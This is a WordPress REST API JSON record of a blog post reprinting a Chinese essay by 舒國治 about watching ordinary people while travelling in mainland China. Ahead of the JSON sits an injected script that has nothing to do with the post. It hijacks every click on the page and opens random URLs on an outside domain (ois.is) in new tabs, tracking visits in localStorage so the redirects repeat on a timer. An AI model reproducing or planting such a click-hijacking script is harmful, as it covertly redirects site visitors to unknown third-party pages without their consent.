<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1196,"date":"2016-03-17T20:32:56","date_gmt":"2016-03-17T12:32:56","guid":{"rendered":"http:\/\/edu.secda.info\/yujuwu\/?p=1196"},"modified":"2016-03-17T20:32:56","modified_gmt":"2016-03-17T12:32:56","slug":"%e5%a4%a7%e9%99%b8%e6%97%85%e9%81%8a%e7%9a%84%e8%b6%a3%e5%91%b3-%e8%88%92%e5%9c%8b%e6%b2%bb","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/yujuwu\/?p=1196","title":{"rendered":"\u5927\u9678\u65c5\u904a\u7684\u8da3\u5473-\u8212\u570b\u6cbb"},"content":{"rendered":"<p style=\"margin: 0pt 0cm 18pt; text-indent: 28pt; line-height: 22pt;\"><b><span style=\"font-size: 14pt; font-family: \u5fae\u8edf\u6b63\u9ed1\u9ad4, sans-serif;\">\u5927\u9678\u65c5\u904a\u7684\u8da3\u5473\u3000\uff0f\u3000\u8212\u570b\u6cbb <\/span><\/b><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u81f3\u4e2d\u570b\u5927\u9678\u65c5\u904a\uff0c\u8f49\u773c\u5df2\u904e\u5eff\u5e74\u3002\u82e5\u554f\uff0c\u5927\u9678\u65c5\u904a\u8207\u6b50\u7f8e\u65c5\u904a\u6709\u5565\u4e0d\u540c\uff0c\u6211\u6700\u5148\u60f3\u5230\u7684\u7b54\u6848\u662f\uff1a\u5927\u9678\u6700\u80fd\u898b\u5230\u300c\u5927\u5730\u7684\u5b50\u6c11\u300d\u3002\u4e5f\u53ef\u4ee5\u8aaa\uff0c\u9019\u662f\u5927\u9678\u6700\u8ff7\u4eba\u3001\u6700\u6559\u6211\u904a\u4e0d\u53ad\u7684\u539f\u56e0\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5341\u591a\u5e74\u524d\uff0c\u5728\u5357\u4eac\uff0c\u6211\u5728\u4e00\u8655\u666f\u9ede\u8cb7\u597d\u9580\u7968\uff0c\u7576\u8981\u9032\u9580\uff0c\u7ba1\u9580\u7684\u5c0f\u59d1\u5a18\u628a\u982d\u659c\u659c\u4f9d\u504e\u5728\u53e6\u4e00\u500b\u7ba1\u9580\u963f\u59e8\u81c2\u8180\u4e0a\uff0c\u8b93\u963f\u59e8\u5e6b\u5979\u638f\u8033\u6735\uff0c\u5979\u773c\u775b\u7787\u8d77\uff0c\u5634\u89d2\u76ba\u8d77\uff0c\u50cf\u6b63\u63a5\u53d7\u4e00\u5834\u5c0f\u624b\u8853\u6216\u6b63\u5982\u7661\u5982\u9189\u4f3c\u7684\u3002\u6211\u7ad9\u8457\uff0c\u4e00\u8072\u4e5f\u4e0d\u6562\u97ff\uff0c\u6015\u9a5a\u8457\u5979\u5011\uff0c\u4e00\u5f04\u4e0d\u597d\u5931\u4e86\u624b\u3002\u53cd\u6b63\u5de6\u53f3\u7121\u4e8b\uff0c\u7b49\u5979\u82b1\u4e0a\u5e7e\u5341\u79d2\u9418\uff0c\u4e5f\u6c92\u5565\u95dc\u4fc2\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5979\u5011\u6709\u9019\u6a23\u7684\u904e\u65e5\u5b50\u60c5\u614b\uff0c\u5f8c\u4f86\u6211\u60f3\u51fa\u5e7e\u500b\u5b57\u4f86\u63cf\u8ff0\uff0c\u4fbf\u662f\u300c\u5927\u5730\u7684\u5b50\u6c11\u300d\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6709\u4e00\u6b21\u5728\u53f0\u5317\u770b\u96fb\u8996\uff0c\u96fb\u8996\u64ad\u6620\u4e00\u500b\u5728\u4e2d\u570b\u897f\u5357\u5c71\u58c1\u4e0a\u6500\u5ca9\u722c\u85e4\uff0c\u5728\u5ca9\u58c1\u7e2b\u4e2d\u63a1\u6458\u77f3\u8033\u7684\u4e2d\u5e74\u4eba\u3002\u9019\u4eba\u8eab\u624b\u5341\u5206\u77ef\u5065\uff0c\u4e00\u7247\u5c71\u58c1\u63a1\u5b8c\uff0c\u76ea\u5230\u53e6\u4e00\u7247\u5c71\u58c1\u518d\u63a1\uff0c\u5168\u63a1\u5b8c\u4e86\uff0c\u8f15\u624b\u8f15\u8173\u843d\u5730\uff0c\u6536\u7a6b\u6eff\u888b\uff0c\u9019\u6642\uff0c\u5929\u8272\u6f38\u660f\uff0c\u4ed6\u628a\u6241\u64d4\u4e00\u625b\uff0c\u53e3\u88e1\u5531\u8457\u5c71\u6b4c\uff0c\u8e0f\u4e0a\u6b78\u9014\u3002\u96fb\u8996\u4e0a\u898b\u4ed6\u6108\u8d70\u6108\u9060\uff0c\u76f4\u6709\u300c\u5e1d\u529b\u65bc\u6211\u4f55\u6709\u54c9\u300d\u4e4b\u611f\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u8aaa\u5230\u770b\u96fb\u8996\uff0c\u6bcf\u6b21\u904a\u5927\u9678\uff0c\u767d\u5929\u5728\u5916\u904a\u5c71\u73a9\u6c34\uff0c\u665a\u4e0a\u4e5f\u4e0d\u653e\u904e\u5927\u9678\u96fb\u8996\u3002\u7576\u7136\u4e0d\u662f\u770b\u9023\u7e8c\u5287\uff0c\u800c\u662f\u770b\u4e00\u4e9b\u5c71\u6c34\u4e4b\u9593\u770b\u4e0d\u5230\u7684\u4eba\u6587\u666f\u81f4\u3002\u67d0\u6b21\u770b\u5230\u4e00\u500b\u300c\u5317\u4eac\u7684\u6bfd\u738b\u300d\u7d00\u5be6\u7247\uff0c\u7c21\u76f4\u592a\u9707\u64bc\u4e86\u3002\u9019\u662f\u500b\u4e2d\u5e74\u4eba\uff0c\u4e94\u516d\u5341\u6b72\u90fd\u6709\u4e86\u3002\u4ed6\u9019\u9ebc\u8e22\u3001\u90a3\u9ebc\u8e22\uff0c\u597d\u5e7e\u5341\u500b\u4eba\u90fd\u8e22\u5f97\u597d\u6975\u4e86\uff0c\u7c97\u770b\u4ed6\u53ea\u662f\u5176\u4e2d\u4e00\u4eba\uff0c\u4f46\u771f\u5230\u4e86\u8f03\u51fa\u9ad8\u96e3\u5ea6\u7684\u9ad8\u4e0b\u6642\uff0c\u556a\u7684\u4e00\u4e0b\uff0c\u51fa\u4e86\u4e00\u500b\u7d55\u62db\uff0c\u4ed6\u6574\u500b\u4eba\u5288\u817f\u800c\u4e0b\uff0c\u8cbc\u81f3\u5730\u9762\uff0c\u628a\u6bfd\u5b50\u6551\u4e86\u8d77\u4f86\u3002\u9019\u9ebc\u4e00\u4f86\uff0c\u4ed6\u624d\u540d\u526f\u5176\u5be6\u7a31\u5f97\u4e0a\u662f\u6bfd\u738b\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u63a5\u8457\u93e1\u982d\u4e00\u8f49\uff0c\u62cd\u4ed6\u7684\u751f\u6d3b\u3002\u4ed6\u751f\u6d3b\u5728\u80e1\u540c\u4e2d\uff0c\u537b\u4e5f\u6d3b\u5f97\u5f88\u6709\u6ecb\u5473\u3002\u4ed6\u62c9\u80e1\u7434\uff0c\u9084\u62c9\u5f97\u771f\u597d\u3002\u518d\u4e00\u770b\uff0c\u4ed6\u7684\u624b\u6307\u4e26\u4e0d\u9748\u6d3b\uff0c\u7b97\u662f\u6b98\u75be\uff0c\u4ed6\u5fc5\u9808\u628a\u9435\u7247\u5957\u5728\u5de6\u624b\u6307\u4e0a\uff0c\u4ee4\u6309\u5f26\u6642\u80fd\u6309\u51fa\u81ea\u5df1\u8981\u7684\u89d2\u5ea6\u3002\u9019\u6a23\u7684\u4e00\u500b\u4eba\uff0c\u5728\u5317\u4eac\u7c21\u964b\u80e1\u540c\u4e2d\uff0c\u6d3b\u5f97\u771f\u662f\u6709\u5149\u8292\u3002\u6211\u6df1\u591c\u5728\u65c5\u9928\u770b\u96fb\u8996\u770b\u5230\uff0c\u5fc3\u80f8\u6e67\u52d5\uff0c\u96e3\u4ee5\u5e73\u606f\uff0c\u771f\u60f3\u8df3\u4e0b\u5e8a\u5728\u5ba2\u5ef3\u6253\u4e00\u8d9f\u62f3\u5462\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5317\u4eac\u7684\u5bd2\u51ac\uff0c\u4e00\u5927\u65e9\uff0c\u6709\u5e7e\u500b\u8001\u4eba\u5728\u4ec0\u524e\u6d77\u6e96\u5099\u51b0\u6cf3\uff0c\u6211\u5728\u65c1\u89c0\u770b\u3002\u4ed6\u5011\u5927\u7d04\u5168\u5e74\u7686\u6668\u6cf3\uff0c\u6e38\u4e86\u5e7e\u5341\u5e74\uff0c\u6052\u5fc3\u662f\u4ed6\u5011\u6700\u4e86\u4e0d\u8d77\u672c\u9322\u3002\u7136\u51b0\u6cf3\u4e0d\u50cf\u590f\u6cf3\uff0c\u4e3b\u8981\u662f\uff1a\u4e00\u3001\u7a7a\u9593\u50c5\u4e00\u5c0f\u6d1e\uff0c\u4e8c\u3001\u4eba\u4ecd\u7136\u8981\u4e0b\u6c34\u3002\u55ae\u9019\u5169\u6a01\uff0c\u5f62\u6210\u4ed6\u5011\u4e0b\u6c34\u524d\u6975\u9577\u6642\u9593\u7684\u6e96\u5099\u8207\u6696\u8eab\uff0c\u4ea6\u5373\uff0c\u804a\u5929\u804a\u5f97\u6975\u591a\u3002\u55ae\u55ae\u7b49\u4ed6\u5011\u4e0b\u6c34\uff0c\u6240\u807d\u6240\u770b\u7684\u898b\u805e\u5c31\u592a\u503c\u56de\u7968\u50f9\u4e86\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6211\u6700\u559c\u6b61\u770b\u4e8c\u4e09\u7dda\u57ce\u93ae\u5c45\u6c11\u751f\u6d3b\u4e86\u3002\u5eff\u5e74\u524d\u5728\u6cb3\u5317\u5510\u7e23\uff0c\u665a\u98ef\u4e00\u904e\uff0c\u898b\u5927\u99ac\u8def\u4e0a\uff0c\u64fa\u4e86\u4e00\u5f35\u9f13\uff0c\u4e00\u500b\u8001\u4eba\u5750\u4e0b\uff0c\u64ca\u4e86\u8d77\u4f86\uff0c\u63a5\u8457\u5341\u5e7e\u500b\u5927\u5a18\u3001\u5927\u723a\u958b\u59cb\u6416\u6416\u8df3\u8df3\uff0c\u8df3\u5e7e\u4e0b\uff0c\u9813\u4e00\u9813\uff1b\u518d\u8df3\u5e7e\u4e0b\uff0c\u518d\u9813\u4e00\u9813\u3002\u6211\u6771\u770b\u897f\u77a7\uff0c\u5fc3\u60f3\uff1a\u9019\u5927\u6982\u5c31\u662f\u6240\u8b02\u7684\u300c\u626d\u79e7\u6b4c\u300d\u5427\u3002\u65c1\u908a\u4e0d\u8df3\u7684\u4eba\uff0c\u570d\u4e86\u4e00\u5927\u5708\uff0c\u6eff\u81c9\u5e36\u7b11\u800c\u89c0\uff0c\u5c0f\u5b69\u4e5f\u7686\u51fa\u4f86\uff0c\u5728\u65c1\u7b11\u7b11\u9b27\u9b27\u3002\u9019\u4e00\u5207\u767c\u751f\u5728\u5927\u99ac\u8def\u4e0a\uff0c\u537b\u5f88\u4e45\u624d\u6703\u7d93\u904e\u4e00\u8f1b\u8eca\uff0c\u6c92\u4eba\u7576\u4e00\u56de\u4e8b\u3002\u4ed6\u5011\u8df3\u5f97\u8208\u9ad8\u91c7\u70c8\uff0c\u56fa\u7136\u4e0d\u932f\uff0c\u66f4\u591a\u7684\u662f\uff0c\u9019\u662f\u4ed6\u5011\u5c0d\u98ef\u5f8c\u591c\u665a\u7684\u8b9a\u980c\u3002\u9084\u6709\uff0c\u4ee4\u81ea\u5df1\u50cf\u662f\u6d3b\u5728\u592a\u5e73\u76db\u4e16\u3002<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-indent: 24pt; line-height: 22pt;\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u5b89\u5fbd\u6ec1\u5dde\uff0c\u6709\u4e00\u7247\u6e56\uff0c\u93ae\u6c11\u5403\u904e\u665a\u98ef\uff0c\u592a\u591a\u592a\u591a\u5230\u6e56\u908a\u6563\u6b65\uff0c\u6709\u7684\u751a\u81f3\u5feb\u8d70\u3002\u6240\u6709\u7684\u4eba\u81c9\u4e0a\u7686\u7c21\u55ae\u5feb\u6a02\u6975\u77e3\uff0c\u50cf\u662f\u4e00\u5929\u5df2\u8fd1\u5c3e\u8072\uff0c\u99ac\u4e0a\u5c31\u4ec0\u9ebc\u4e8b\u4e5f\u6c92\u4e86\uff0c\u9019\u7576\u5152\u53ea\u662f\u7528\u4ed6\u5011\u7684\u96d9\u8173\u4e0d\u65b7\u5730\u8fce\u63a5\u4e00\u500b\u4e0d\u4e45\u5f8c\u5373\u5c07\u767b\u5e8a\u7761\u89ba\u7684\u7a7a\u7a7a\u6de8\u6de8\u6700\u4f73\u592a\u53e4\u591c\u665a\u554a\u3002\uff08\u4f5c\u8005\u70ba\u4f5c\u5bb6\uff09<\/span><\/p>\n<p style=\"margin: 0cm 36pt 0.0001pt; text-align: right; text-indent: 24pt; line-height: 22pt;\" align=\"right\"><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u3010<\/span><span>2013-12-21\/<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u806f\u5408\u5831<\/span><span>\/A19<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u7248\u540d\u4eba\u5802<\/span><span>\/<\/span><span style=\"font-family: \u65b0\u7d30\u660e\u9ad4, serif;\">\u6c11\u610f\u8ad6\u58c7\u3011<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u5927\u9678\u65c5\u904a\u7684\u8da3\u5473\u3000\uff0f\u3000\u8212\u570b\u6cbb \u81f3\u4e2d\u570b\u5927\u9678\u65c5\u904a\uff0c\u8f49\u773c\u5df2\u904e\u5eff\u5e74\u3002\u82e5\u554f\uff0c\u5927\u9678\u65c5\u904a\u8207\u6b50\u7f8e\u65c5\u904a\u6709\u5565\u4e0d\u540c\uff0c\u6211\u6700\u5148\u60f3\u5230\u7684\u7b54\u6848\u662f [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[46,1,60,42,56,62],"tags":[91,89,99],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1196"}],"collection":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1196"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1196\/revisions"}],"predecessor-version":[{"id":1197,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=\/wp\/v2\/posts\/1196\/revisions\/1197"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1196"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1196"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/yujuwu\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1196"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}